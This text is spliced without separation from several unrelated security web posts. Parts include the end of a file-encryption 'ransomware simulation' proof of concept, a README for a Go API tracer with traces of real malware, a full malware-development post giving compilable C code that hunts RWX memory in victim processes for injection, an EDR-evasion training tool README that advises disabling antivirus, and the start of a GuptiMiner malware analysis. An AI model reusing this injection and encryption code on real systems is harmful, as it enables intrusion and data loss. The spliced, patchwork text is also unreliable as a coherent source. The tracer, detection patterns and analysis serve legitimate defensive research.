    CloseHandle(ofh);
    free(fileData);
  }
}

int main() {
  const char* inputFile = "Z:\\test.txt";
  const char* outputFile = "Z:\\test.txt.a51";
  const char* decryptedFile = "Z:\\test.txt.a51.decrypted";
  const char* key = "\x6d\x65\x6f\x77\x6d\x65\x6f\x77";
  encrypt_file(inputFile, outputFile, key);
  decrypt_file(outputFile, decryptedFile, key);
  return 0;
}

As you can see, as usual, for test I just encrypt file test.txt and decrypt it.

cat test.txt

demo

Let’s see everything in action, compile our PoC code:

x86_64-w64-mingw32-g++ hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

and let’s say we have a test.txt file in the Z:\\ path on the victim’s machine:

hexdump -C test.txt

Then just run our application on Windows 11 x64 machine:

.\hack.exe

Let’s check a decrypted and original files, for example via hexdump command:

hexdump -C test.txt.a51.decrypted

As you can see our simple PoC is worked perfectly.

I hope this post spreads awareness to the blue teamers of this interesting encrypting technique, and adds a weapon to the red teamers arsenal and useful for adversary (ransomware) sumulation purposes.

A5/1
Malware AV/VM evasion part 14
source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine

A command line Windows API tracing tool for Golang binaries.

Note: This tool is a PoC and a work-in-progress prototype so please treat it as such. Feedbacks are always welcome!

How it works?

Although Golang programs contains a lot of nuances regarding the way they are built and their behavior in runtime they still need to interact with the OS layer and that means at some point they do need to call functions from the Windows API.

The Go runtime package contains a function called asmstdcall and this function is a kind of "gateway" used to interact with the Windows API. Since it's expected this function to call the Windows API functions we can assume it needs to have access to information such as the address of the function and it's parameters, and this is where things start to get more interesting.

Asmstdcall receives a single parameter which is pointer to something similar to the following structure:

struct LIBCALL {
    DWORD_PTR Addr;
    DWORD Argc;
    DWORD_PTR Argv;
    DWORD_PTR ReturnValue;

    [...]
}

Some of these fields are filled after the API function is called, like the return value, others are received by asmstdcall, like the function address, the number of arguments and the list of arguments. Regardless when those are set it's clear that the asmstdcall function manipulates a lot of interesting information regarding the execution of programs compiled in Golang.

The gftrace leverages asmstdcall and the way it works to monitor specific fields of the mentioned struct and log it to the user. The tool is capable of log the function name, it's parameters and also the return value of each Windows function called by a Golang application. All of it with no need to hook a single API function or have a signature for it.

The tool also tries to ignore all the noise from the Go runtime initialization and only log functions called after it (i.e. functions from the main package).

If you want to know more about this project and research check the blogpost.

Installation

Download the latest release.

Usage

1. Make sure gftrace.exe, gftrace.dll and gftrace.cfg are in the same directory.
2. Specify which API functions you want to trace in the gftrace.cfg file (the tool does not work without API filters applied).
3. Run gftrace.exe passing the target Golang program path as a parameter.

gftrace.exe <filepath> <params>

Configuration

All you need to do is specify which functions you want to trace in the gftrace.cfg file, separating it by comma with no spaces:

CreateFileW,ReadFile,CreateProcessW

The exact Windows API functions a Golang method X of a package Y would call in a specific scenario can only be determined either by analysis of the method itself or trying to guess it. There's some interesting characteristics that can be used to determine it, for example, Golang applications seems to always prefer to call functions from the "Wide" and "Ex" set (e.g. CreateFileW, CreateProcessW, GetComputerNameExW, etc) so you can consider it during your analysis.

The default config file contains multiple functions in which I tested already (at least most part of them) and can say for sure they can be called by a Golang application at some point. I'll try to update it eventually.

Examples

Tracing CreateFileW() and ReadFile() in a simple Golang file that calls "os.ReadFile" twice:

- CreateFileW("C:\Users\user\Desktop\doc.txt", 0x80000000, 0x3, 0x0, 0x3, 0x1, 0x0) = 0x168 (360)
- ReadFile(0x168, 0xc000108000, 0x200, 0xc000075d64, 0x0) = 0x1 (1)
- CreateFileW("C:\Users\user\Desktop\doc2.txt", 0x80000000, 0x3, 0x0, 0x3, 0x1, 0x0) = 0x168 (360)
- ReadFile(0x168, 0xc000108200, 0x200, 0xc000075d64, 0x0) = 0x1 (1)

Tracing CreateProcessW() in the TunnelFish malware:

- CreateProcessW("C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe", "powershell /c "Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn; Get-Recipient | Select Name -ExpandProperty EmailAddresses -first 1 | Select SmtpAddress |  ft -hidetableheaders"", 0x0, 0x0, 0x1, 0x80400, "=C:=C:\Users\user\Desktop", 0x0, 0xc0000ace98, 0xc0000acd68) = 0x1 (1)
- CreateProcessW("C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe", "powershell /c "Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn; Get-Recipient | Select Name -ExpandProperty EmailAddresses -first 1 | Select SmtpAddress |  ft -hidetableheaders"", 0x0, 0x0, 0x1, 0x80400, "=C:=C:\Users\user\Desktop", 0x0, 0xc0000c4ec8, 0xc0000c4d98) = 0x1 (1)
- CreateProcessW("C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe", "powershell /c "Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn; Get-Recipient | Select Name -ExpandProperty EmailAddresses -first 1 | Select SmtpAddres   s |  ft -hidetableheaders"", 0x0, 0x0, 0x1, 0x80400, "=C:=C:\Users\user\Desktop", 0x0, 0xc00005eec8, 0xc00005ed98) = 0x1 (1)
- CreateProcessW("C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe", "powershell /c "Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn; Get-Recipient | Select Name -ExpandProperty EmailAddresses -first 1 | Select SmtpAddress |  ft -hidetableheaders"", 0x0, 0x0, 0x1, 0x80400, "=C:=C:\Users\user\Desktop", 0x0, 0xc0000bce98, 0xc0000bcd68) = 0x1 (1)
- CreateProcessW("C:\WINDOWS\system32\cmd.exe", "cmd /c "wmic computersystem get domain"", 0x0, 0x0, 0x1, 0x80400, "=C:=C:\Users\user\Desktop", 0x0, 0xc0000c4ef0, 0xc0000c4dc0) = 0x1 (1)
- CreateProcessW("C:\WINDOWS\system32\cmd.exe", "cmd /c "wmic computersystem get domain"", 0x0, 0x0, 0x1, 0x80400, "=C:=C:\Users\user\Desktop", 0x0, 0xc0000acec0, 0xc0000acd90) = 0x1 (1)
- CreateProcessW("C:\WINDOWS\system32\cmd.exe", "cmd /c "wmic computersystem get domain"", 0x0, 0x0, 0x1, 0x80400,    "=C:=C:\Users\user\Desktop", 0x0, 0xc0000bcec0, 0xc0000bcd90) = 0x1 (1)

[...]

Tracing multiple functions in the Sunshuttle malware:

- CreateFileW("config.dat.tmp", 0x80000000, 0x3, 0x0, 0x3, 0x1, 0x0) = 0xffffffffffffffff (-1)
- CreateFileW("config.dat.tmp", 0xc0000000, 0x3, 0x0, 0x2, 0x80, 0x0) = 0x198 (408)
- CreateFileW("config.dat.tmp", 0xc0000000, 0x3, 0x0, 0x3, 0x80, 0x0) = 0x1a4 (420)
- WriteFile(0x1a4, 0xc000112780, 0xeb, 0xc0000c79d4, 0x0) = 0x1 (1)
- GetAddrInfoW("reyweb.com", 0x0, 0xc000031f18, 0xc000031e88) = 0x0 (0)
- WSASocketW(0x2, 0x1, 0x0, 0x0, 0x0, 0x81) = 0x1f0 (496)
- WSASend(0x1f0, 0xc00004f038, 0x1, 0xc00004f020, 0x0, 0xc00004eff0, 0x0) = 0x0 (0)
- WSARecv(0x1f0, 0xc00004ef60, 0x1, 0xc00004ef48, 0xc00004efd0, 0xc00004ef18, 0x0) = 0xffffffff (-1)
- GetAddrInfoW("reyweb.com", 0x0, 0xc000031f18, 0xc000031e88) = 0x0 (0)
- WSASocketW(0x2, 0x1, 0x0, 0x0, 0x0, 0x81) = 0x200 (512)
- WSASend(0x200, 0xc00004f2b8, 0x1, 0xc00004f2a0, 0x0, 0xc00004f270, 0x0) = 0x0 (0)
- WSARecv(0x200, 0xc00004f1e0, 0x1, 0xc00004f1c8, 0xc00004f250, 0xc00004f198, 0x0)    = 0xffffffff (-1)

[...]

Tracing multiple functions in the DeimosC2 framework agent:

- WSASocketW(0x2, 0x1, 0x0, 0x0, 0x0, 0x81) = 0x130 (304)
- setsockopt(0x130, 0xffff, 0x20, 0xc0000b7838, 0x4) = 0xffffffff (-1)
- socket(0x2, 0x1, 0x6) = 0x138 (312)
- WSAIoctl(0x138, 0xc8000006, 0xaf0870, 0x10, 0xb38730, 0x8, 0xc0000b746c, 0x0, 0x0) = 0x0 (0)
- GetModuleFileNameW(0x0, "C:\Users\user\Desktop\samples\deimos.exe", 0x400) = 0x2f (47)
- GetUserProfileDirectoryW(0x140, "C:\Users\user", 0xc0000b7a08) = 0x1 (1)
- LookupAccountSidw(0x0, 0xc00000e250, "user", 0xc0000b796c, "DESKTOP-TEST", 0xc0000b7970, 0xc0000b79f0) = 0x1 (1)
- NetUserGetInfo("DESKTOP-TEST", "user", 0xa, 0xc0000b7930) = 0x0 (0)
- GetComputerNameExW(0x5, "DESKTOP-TEST", 0xc0000b7b78) = 0x1 (1)
- GetAdaptersAddresses(0x0, 0x10, 0x0, 0xc000120000, 0xc0000b79d0) = 0x0 (0)
- CreateToolhelp32Snapshot(0x2, 0x0) = 0x1b8 (440)
- GetCurrentProcessId() = 0x2584 (9604)
- GetCurrentDirectoryW(0x12c, "C:\Users\user\AppData\Local\Programs\retoolkit\bin") = 0x39 (57   )

[...]

Future features:

• [x] Support inspection of 32 bits files.
• [x] Add support to files calling functions via the "IAT jmp table" instead of the API call directly in asmstdcall.
• [x] Add support to cmdline parameters for the target process
• [ ] Send the tracing log output to a file by default to make it better to filter. Currently there's no separation between the target file and gftrace output. An alternative is redirect gftrace output to a file using the command line.

:warning: Warning

• The tool inspects the target binary dynamically and it means the file being traced is executed. If you're inspecting a malware or an unknown software please make sure you do it in a controlled environment.
• Golang programs can be very noisy depending the file and/or function being traced (e.g. VirtualAlloc is always called multiple times by the runtime package, CreateFileW is called multiple times before a call to CreateProcessW, etc). The tool ignores the Golang runtime initialization noise but after that it's up to the user to decide what functions are better to filter in each scenario.

License

The gftrace is published under the GPL v3 License. Please refer to the file named LICENSE for more information.

﷽

Hello, cybersecurity enthusiasts and white hackers!

In one of my previous posts, I described a process injection method using RWX-memory searching logic. Today, I will apply the same logic, but with a new trick.

As you remember, the method is simple: we enumerate the presently running target processes on the victim’s system, scan through their allocated memory blocks to see if any are protected with RWX, and then write our payload to this memory block.

practical example

Today I will use a little bit different trick. Let’s say we are search specific process in the victim’s machine (for injection or for something else).

Let’s go to use a separate function for hunting RWX-memory region from the victim process, something like this:

int findRWX(HANDLE h) {

  MEMORY_BASIC_INFORMATION mbi = {};
  LPVOID addr = 0;

  // query remote process memory information
  while (VirtualQueryEx(h, addr, &mbi, sizeof(mbi))) {
    addr = (LPVOID)((DWORD_PTR) mbi.BaseAddress + mbi.RegionSize);

    // look for RWX memory regions which are not backed by an image
    if (mbi.Protect == PAGE_EXECUTE_READWRITE
      && mbi.State == MEM_COMMIT
      && mbi.Type == MEM_PRIVATE)

      printf("found RWX memory: 0x%x - %#7llu bytes region\n", mbi.BaseAddress, mbi.RegionSize);
  }

  return 0;
}

Also a little bit update for our main logic: first of all, we are search specific process’ handle by it’s name:

typedef NTSTATUS (NTAPI * fNtGetNextProcess)(
  _In_ HANDLE ProcessHandle,
  _In_ ACCESS_MASK DesiredAccess,
  _In_ ULONG HandleAttributes,
  _In_ ULONG Flags,
  _Out_ PHANDLE NewProcessHandle
);

int findMyProc(const char * procname) {
  int pid = 0;
  HANDLE current = NULL;
  char procName[MAX_PATH];

  // resolve function address
  fNtGetNextProcess myNtGetNextProcess = (fNtGetNextProcess) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtGetNextProcess");

  // loop through all processes
  while (!myNtGetNextProcess(current, MAXIMUM_ALLOWED, 0, 0, &current)) {
    GetProcessImageFileNameA(current, procName, MAX_PATH);
    if (lstrcmpiA(procname, PathFindFileName((LPCSTR) procName)) == 0) {
      pid = GetProcessId(current);
      break;
    }
  }

  return current;
}

As you can see, we use NtGetNextProcess API for enumerating processes.

So the final source code is looks like this (hack.c):

/*
 * hack.c - hunting RWX memory
 * @cocomelonc
 * https://cocomelonc.github.io/malware/2024/05/01/malware-trick-38.html
*/
#include <windows.h>
#include <stdio.h>
#include <psapi.h>
#include <shlwapi.h>
#include <strsafe.h>
#include <winternl.h>

typedef NTSTATUS (NTAPI * fNtGetNextProcess)(
  _In_ HANDLE ProcessHandle,
  _In_ ACCESS_MASK DesiredAccess,
  _In_ ULONG HandleAttributes,
  _In_ ULONG Flags,
  _Out_ PHANDLE NewProcessHandle
);

int findMyProc(const char * procname) {
  int pid = 0;
  HANDLE current = NULL;
  char procName[MAX_PATH];

  // resolve function address
  fNtGetNextProcess myNtGetNextProcess = (fNtGetNextProcess) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtGetNextProcess");

  // loop through all processes
  while (!myNtGetNextProcess(current, MAXIMUM_ALLOWED, 0, 0, &current)) {
    GetProcessImageFileNameA(current, procName, MAX_PATH);
    if (lstrcmpiA(procname, PathFindFileName((LPCSTR) procName)) == 0) {
      pid = GetProcessId(current);
      break;
    }
  }

  return current;
}


int findRWX(HANDLE h) {

  MEMORY_BASIC_INFORMATION mbi = {};
  LPVOID addr = 0;

  // query remote process memory information
  while (VirtualQueryEx(h, addr, &mbi, sizeof(mbi))) {
    addr = (LPVOID)((DWORD_PTR) mbi.BaseAddress + mbi.RegionSize);

    // look for RWX memory regions which are not backed by an image
    if (mbi.Protect == PAGE_EXECUTE_READWRITE
      && mbi.State == MEM_COMMIT
      && mbi.Type == MEM_PRIVATE)

      printf("found RWX memory: 0x%x - %#7llu bytes region\n", mbi.BaseAddress, mbi.RegionSize);
  }

  return 0;
}


int main(int argc, char* argv[]) {
  char procNameTemp[MAX_PATH];
  HANDLE h = NULL;
  int pid = 0;
  h = findMyProc(argv[1]);
  if (h) GetProcessImageFileNameA(h, procNameTemp, MAX_PATH);
  pid = GetProcessId(h);
  printf("%s%d\n", pid > 0 ? "process found at pid = " : "process not found. pid = ", pid);
  findRWX(h);
  CloseHandle(h);
  
  return 0;
}

demo

Let’s go to see everything in action. Compile our malware source code:

x86_64-w64-mingw32-g++ hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive -w -lpsapi -lshlwapi

And run it at the victim’s machine (Windows 11 x64 in my case):

Try on another target process, for example OneDrive.exe:

Our logic is worked, RWX-memory successfully founded!

As you can see, everything is worked perfectly! =^..^=

practical example 2

But there are the caveats. Sometimes we need to know is this process is .NET process or Java or something else (is it really OneDrive.exe process)?

For .NET process we need interesting trick, if we open powershell.exe via Process Hacker 2:

As you can see, in the Handles tab we can find interesting section with name \BaseNamedObjects\Cor_Private_IPCBlock_v4_<PID>" in our case PID = 3156, so our string is equal \BaseNamedObjects\\Cor_Private_IPCBlock_v4_3156.

So, let’s update our function findMyProc, like this:

HANDLE findMyProc(const char * procname) {
  int pid = 0;
  HANDLE current = NULL;
  char procName[MAX_PATH];

  // resolve function addresses
  fNtGetNextProcess_t myNtGetNextProcess = (fNtGetNextProcess_t) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtGetNextProcess");
  fNtOpenSection_t myNtOpenSection = (fNtOpenSection_t) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtOpenSection");

  // loop through all processes
  while (!myNtGetNextProcess(current, MAXIMUM_ALLOWED, 0, 0, &current)) {
    GetProcessImageFileNameA(current, procName, MAX_PATH);
    if (lstrcmpiA(procname, PathFindFileNameA(procName)) == 0) {
      pid = GetProcessId(current);
      
      // Check for "\\BaseNamedObjects\\Cor_Private_IPCBlock_v4_<PID>" section
      UNICODE_STRING sName;
      OBJECT_ATTRIBUTES oa;
      HANDLE sHandle = NULL;
      WCHAR procNumber[32];

      WCHAR objPath[] = L"\\BaseNamedObjects\\Cor_Private_IPCBlock_v4_";
      sName.Buffer = (PWSTR) malloc(500);

      // convert INT to WCHAR
      swprintf_s(procNumber, L"%d", pid);

      // and fill out UNICODE_STRING structure
      ZeroMemory(sName.Buffer, 500);
      memcpy(sName.Buffer, objPath, wcslen(objPath) * 2);   // add section name "prefix"
      StringCchCatW(sName.Buffer, 500, procNumber);      // and append with process ID
      sName.Length = wcslen(sName.Buffer) * 2;    // finally, adjust the string size
      sName.MaximumLength = sName.Length + 1;    
      
      InitializeObjectAttributes(&oa, &sName, OBJ_CASE_INSENSITIVE, NULL, NULL);
      NTSTATUS status = myNtOpenSection(&sHandle, SECTION_QUERY, &oa);
      if (NT_SUCCESS(status)) {
        CloseHandle(sHandle);
        break;
      }
    }
  }

  return current;
}

Just convert process id int to UNICODE STRING and concat, then try to find section logic.

Here, NtOpenSection API use for opens a handle for an existing section object:

typedef NTSTATUS (NTAPI * fNtOpenSection)(
  PHANDLE            SectionHandle,
  ACCESS_MASK        DesiredAccess,
  POBJECT_ATTRIBUTES ObjectAttributes
);

So, the full source code for this logic (finding .NET processes in the victim’s system) looks like this:

/*
 * hack2.c - hunting RWX memory
 * detect .NET process
 * @cocomelonc
 * https://cocomelonc.github.io/malware/2024/05/01/malware-trick-38.html
*/
#include <windows.h>
#include <stdio.h>
#include <psapi.h>
#include <shlwapi.h>
#include <strsafe.h>
#include <winternl.h>

typedef NTSTATUS (NTAPI * fNtGetNextProcess_t)(
  _In_ HANDLE ProcessHandle,
  _In_ ACCESS_MASK DesiredAccess,
  _In_ ULONG HandleAttributes,
  _In_ ULONG Flags,
  _Out_ PHANDLE NewProcessHandle
);

typedef NTSTATUS (NTAPI * fNtOpenSection_t)(
  PHANDLE            SectionHandle,
  ACCESS_MASK        DesiredAccess,
  POBJECT_ATTRIBUTES ObjectAttributes
);

HANDLE findMyProc(const char * procname) {
  int pid = 0;
  HANDLE current = NULL;
  char procName[MAX_PATH];

  // resolve function addresses
  fNtGetNextProcess_t myNtGetNextProcess = (fNtGetNextProcess_t) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtGetNextProcess");
  fNtOpenSection_t myNtOpenSection = (fNtOpenSection_t) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtOpenSection");

  // loop through all processes
  while (!myNtGetNextProcess(current, MAXIMUM_ALLOWED, 0, 0, &current)) {
    GetProcessImageFileNameA(current, procName, MAX_PATH);
    if (lstrcmpiA(procname, PathFindFileNameA(procName)) == 0) {
      pid = GetProcessId(current);
      
      // check for "\\BaseNamedObjects\\Cor_Private_IPCBlock_v4_<PID>" section
      UNICODE_STRING sName;
      OBJECT_ATTRIBUTES oa;
      HANDLE sHandle = NULL;
      WCHAR procNumber[32];

      WCHAR objPath[] = L"\\BaseNamedObjects\\Cor_Private_IPCBlock_v4_";
      sName.Buffer = (PWSTR) malloc(500);

      // convert INT to WCHAR
      swprintf_s(procNumber, L"%d", pid);

      // and fill out UNICODE_STRING structure
      ZeroMemory(sName.Buffer, 500);
      memcpy(sName.Buffer, objPath, wcslen(objPath) * 2);   // add section name "prefix"
      StringCchCatW(sName.Buffer, 500, procNumber);      // and append with process ID
      sName.Length = wcslen(sName.Buffer) * 2;    // finally, adjust the string size
      sName.MaximumLength = sName.Length + 1;    
      
      InitializeObjectAttributes(&oa, &sName, OBJ_CASE_INSENSITIVE, NULL, NULL);
      NTSTATUS status = myNtOpenSection(&sHandle, SECTION_QUERY, &oa);
      if (NT_SUCCESS(status)) {
        CloseHandle(sHandle);
        break;
      }
    }
  }

  return current;
}



int findRWX(HANDLE h) {

  MEMORY_BASIC_INFORMATION mbi = {};
  LPVOID addr = 0;

  // query remote process memory information
  while (VirtualQueryEx(h, addr, &mbi, sizeof(mbi))) {
    addr = (LPVOID)((DWORD_PTR) mbi.BaseAddress + mbi.RegionSize);

    // look for RWX memory regions which are not backed by an image
    if (mbi.Protect == PAGE_EXECUTE_READWRITE
      && mbi.State == MEM_COMMIT
      && mbi.Type == MEM_PRIVATE)

      printf("found RWX memory: 0x%x - %#7llu bytes region\n", mbi.BaseAddress, mbi.RegionSize);
  }

  return 0;
}


int main(int argc, char* argv[]) {
  char procNameTemp[MAX_PATH];
  HANDLE h = NULL;
  int pid = 0;
  h = findMyProc(argv[1]);
  if (h) GetProcessImageFileNameA(h, procNameTemp, MAX_PATH);
  pid = GetProcessId(h);
  printf("%s%d\n", pid > 0 ? "process found at pid = " : "process not found. pid = ", pid);
  findRWX(h);
  CloseHandle(h);
  
  return 0;
}

demo 2

Let’s go to see second example in action. Compile it:

x86_64-w64-mingw32-g++ hack2.c -o hack2.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive -lpsapi -lshlwapi -w

Then just run it. Check on powershell.exe:

.\hack2.exe powershell.exe

Now, second practical example worked as expected! Great! =^..^=

practical example 3

Ok, so what about previous question?

How we can check if the victim process is really OneDrive.exe process? It’s just in case, for example.

Let’s check OneDrive.exe process properties via Process Hacker 2:

As you can see we can use the same trick: check section by it’s name: \Sessions\1\BaseNamedObjects\UrlZonesSM_test1. Of course, I could be wrong and the presence of this string does not guarantee that this is OneDrive.exe process. I just want to show that you can examine any process and try to find some indicators in the section names.

So, I updated my function again and full source code of my third example (hack3.c):

/*
 * hack.c - hunting RWX memory
 * @cocomelonc
 * https://cocomelonc.github.io/malware/2024/05/01/malware-trick-38.html
*/
#include <windows.h>
#include <stdio.h>
#include <psapi.h>
#include <shlwapi.h>
#include <strsafe.h>
#include <winternl.h>

typedef NTSTATUS (NTAPI * fNtGetNextProcess_t)(
  _In_ HANDLE ProcessHandle,
  _In_ ACCESS_MASK DesiredAccess,
  _In_ ULONG HandleAttributes,
  _In_ ULONG Flags,
  _Out_ PHANDLE NewProcessHandle
);

typedef NTSTATUS (NTAPI * fNtOpenSection_t)(
  PHANDLE            SectionHandle,
  ACCESS_MASK        DesiredAccess,
  POBJECT_ATTRIBUTES ObjectAttributes
);

HANDLE findMyProc(const char *procname) {
  HANDLE current = NULL;
  char procName[MAX_PATH];

  // resolve function addresses
  fNtGetNextProcess_t myNtGetNextProcess = (fNtGetNextProcess_t)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtGetNextProcess");
  fNtOpenSection_t myNtOpenSection = (fNtOpenSection_t)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtOpenSection");

  // loop through all processes
  while (!myNtGetNextProcess(current, MAXIMUM_ALLOWED, 0, 0, &current)) {
    GetProcessImageFileNameA(current, procName, MAX_PATH);
    if (lstrcmpiA(procname, PathFindFileNameA(procName)) == 0) {
      // check for "\Sessions\1\BaseNamedObjects\UrlZonesSM_test1" section
      UNICODE_STRING sName;
      OBJECT_ATTRIBUTES oa;
      HANDLE sHandle = NULL;

      WCHAR objPath[] = L"\\Sessions\\1\\BaseNamedObjects\\UrlZonesSM_test1";
      sName.Buffer = (PWSTR)objPath;
      sName.Length = wcslen(objPath) * sizeof(WCHAR);
      sName.MaximumLength = sName.Length + sizeof(WCHAR);

      InitializeObjectAttributes(&oa, &sName, OBJ_CASE_INSENSITIVE, NULL, NULL);
      NTSTATUS status = myNtOpenSection(&sHandle, SECTION_QUERY, &oa);
      if (NT_SUCCESS(status)) {
        CloseHandle(sHandle);
        break;
      }
    }
  }
  return current;
}

int findRWX(HANDLE h) {

  MEMORY_BASIC_INFORMATION mbi = {};
  LPVOID addr = 0;

  // query remote process memory information
  while (VirtualQueryEx(h, addr, &mbi, sizeof(mbi))) {
    addr = (LPVOID)((DWORD_PTR) mbi.BaseAddress + mbi.RegionSize);

    // look for RWX memory regions which are not backed by an image
    if (mbi.Protect == PAGE_EXECUTE_READWRITE
      && mbi.State == MEM_COMMIT
      && mbi.Type == MEM_PRIVATE)

      printf("found RWX memory: 0x%x - %#7llu bytes region\n", mbi.BaseAddress, mbi.RegionSize);
  }

  return 0;
}


int main(int argc, char* argv[]) {
  char procNameTemp[MAX_PATH];
  HANDLE h = NULL;
  int pid = 0;
  h = findMyProc(argv[1]);
  if (h) GetProcessImageFileNameA(h, procNameTemp, MAX_PATH);
  pid = GetProcessId(h);
  printf("%s%d\n", pid > 0 ? "process found at pid = " : "process not found. pid = ", pid);
  findRWX(h);
  CloseHandle(h);
  
  return 0;
}

As you can see, the logic is simple: check section name and try to open it.

demo 3

Let’s go to see third example in action. Compile it:

x86_64-w64-mingw32-g++ hack3.c -o hack3.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive -lpsapi -lshlwapi -w

Then, run it on the victim’s machine:

.\hack3.exe OneDrive.exe

As you can see, everything is worked perfectly again!

If anyone has seen a similar trick in real malware and APT, please write to me, maybe I didn’t look well, it seems to me that this is a technique already known to attackers.

I hope this post spreads awareness to the blue teamers of this interesting process investigation technique, and adds a weapon to the red teamers arsenal.

Process injection via RWX-memory hunting. Simple C++ example.
Malware development trick - part 30: Find PID via NtGetNextProcess. Simple C++ example.
source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!

CrimsonEDR is an open-source project engineered to identify specific malware patterns, offering a tool for honing skills in circumventing Endpoint Detection and Response (EDR). By leveraging diverse detection methods, it empowers users to deepen their understanding of security evasion tactics.

Features

Installation

To get started with CrimsonEDR, follow these steps:

1. Install dependancy: bash sudo apt-get install gcc-mingw-w64-x86-64
2. Clone the repository: bash git clone https://github.com/Helixo32/CrimsonEDR
3. Compile the project: bash cd CrimsonEDR; chmod +x compile.sh; ./compile.sh

⚠️ Warning

Windows Defender and other antivirus programs may flag the DLL as malicious due to its content containing bytes used to verify if the AMSI has been patched. Please ensure to whitelist the DLL or disable your antivirus temporarily when using CrimsonEDR to avoid any interruptions.

Usage

To use CrimsonEDR, follow these steps:

1. Make sure the ioc.json file is placed in the current directory from which the executable being monitored is launched. For example, if you launch your executable to monitor from C:\Users\admin\, the DLL will look for ioc.json in C:\Users\admin\ioc.json. Currently, ioc.json contains patterns related to msfvenom. You can easily add your own in the following format:

{
  "IOC": [
    ["0x03", "0x4c", "0x24", "0x08", "0x45", "0x39", "0xd1", "0x75"],
    ["0xf1", "0x4c", "0x03", "0x4c", "0x24", "0x08", "0x45", "0x39"],
    ["0x58", "0x44", "0x8b", "0x40", "0x24", "0x49", "0x01", "0xd0"],
    ["0x66", "0x41", "0x8b", "0x0c", "0x48", "0x44", "0x8b", "0x40"],
    ["0x8b", "0x0c", "0x48", "0x44", "0x8b", "0x40", "0x1c", "0x49"],
    ["0x01", "0xc1", "0x38", "0xe0", "0x75", "0xf1", "0x4c", "0x03"],
    ["0x24", "0x49", "0x01", "0xd0", "0x66", "0x41", "0x8b", "0x0c"],
    ["0xe8", "0xcc", "0x00", "0x00", "0x00", "0x41", "0x51", "0x41"]
  ]
}

1. Execute CrimsonEDRPanel.exe with the following arguments:

   • -d <path_to_dll>: Specifies the path to the CrimsonEDR.dll file.

   • -p <process_id>: Specifies the Process ID (PID) of the target process where you want to inject the DLL.

For example:

.\CrimsonEDRPanel.exe -d C:\Temp\CrimsonEDR.dll -p 1234

Useful Links

Here are some useful resources that helped in the development of this project:

• Windows Processes, Nefarious Anomalies, and You
• MalDev Academy

Contact

For questions, feedback, or support, please reach out to me via:

• Discord : helixo32
• LinkedIn : Matthias Ossard

Key Points

• Avast discovered and analyzed a malware campaign hijacking an eScan antivirus update mechanism to distribute backdoors and coinminers
• Avast disclosed the vulnerability to both eScan antivirus and India CERT. On 2023-07-31, eScan confirmed that the issue was fixed and successfully resolved
• The campaign was orchestrated by a threat actor with possible ties to Kimsuky
• Two different types of backdoors have been discovered, targeting large corporate networks
• The final payload distributed by GuptiMiner was also XMRig

Introduction

We’ve been tracking a curious one here. Firstly, GuptiMiner is a highly sophisticated threat that uses an interesting infection chain along with a couple of techniques that include performing DNS requests to the attacker’s DNS servers, performing sideloading, extracting payloads from innocent-looking images, signing its payloads with a custom trusted root anchor certification authority, among others.

The main objective of GuptiMiner is to distribute backdoors within big corporate networks. We’ve encountered two different variants of these backdoors: The first is an enhanced build of PuTTY Link, providing SMB scanning of the local network and enabling lateral movement over the network to potentially vulnerable Windows 7 and Windows Server 2008 systems on the network. The second backdoor is multi-modular, accepting commands from the attacker to install more modules as well as focusing on scanning for stored private keys and cryptowallets on the local system.

Interestingly, GuptiMiner also distributes XMRig on the infected devices, which is a bit unexpected for such a thought-through operation.

The actors behind GuptiMiner have been capitalizing on an insecurity within an update mechanism of Indian antivirus vendor eScan to distribute the malware by performing a man-in-the-middle attack. We disclosed this security vulnerability to both eScan and the India CERT and received confirmation on 2023-07-31 from eScan that the issue was fixed and successfully resolved.

GuptiMiner is a long-standing malware, with traces of it dating back to 2018 though it is likely that it is even older. We have also found that GuptiMiner has possible ties to Kimsuky, a notorious North Korean APT group, by observing similarities between Kimsuky keylogger and parts of the GuptiMiner operation.
In this analysis, we will cover the GuptiMiner’s features and its evolution over time. We will also denote in which samples the particular features are contained or introduced to support the overall comprehension in the vast range of IoCs.

It is also important to note that since the users rarely install more than one AV on their machine, we may have limited visibility into GuptiMiner’s activity and its overall scope. Because of this, we might be looking only at the tip of the iceberg and the true scope of the entire operation may still be subject to discovery.

Infection Chain

To illustrate the complexity of the whole infection, we’ve provided a flow chart containing all parts of the chain. Note that some of the used filenames and/or workflows can slightly vary depending on the specific version of GuptiMiner, but the flowchart below illustrates the overall process.

The whole process starts with eScan requesting an update from the update server where an unknown MitM intercepts the download and swaps the update package with a malicious one. Then, eScan unpacks and loads the package and a DLL is sideloaded by eScan clean binaries. This DLL enables the rest of the chain, following with multiple shellcodes and intermediary PE loaders.

Resulted GuptiMiner consists of using XMRig on the infected machine as well as introducing backdoors which are activated when deployed in large corporate networks.

Evolution and Timelines

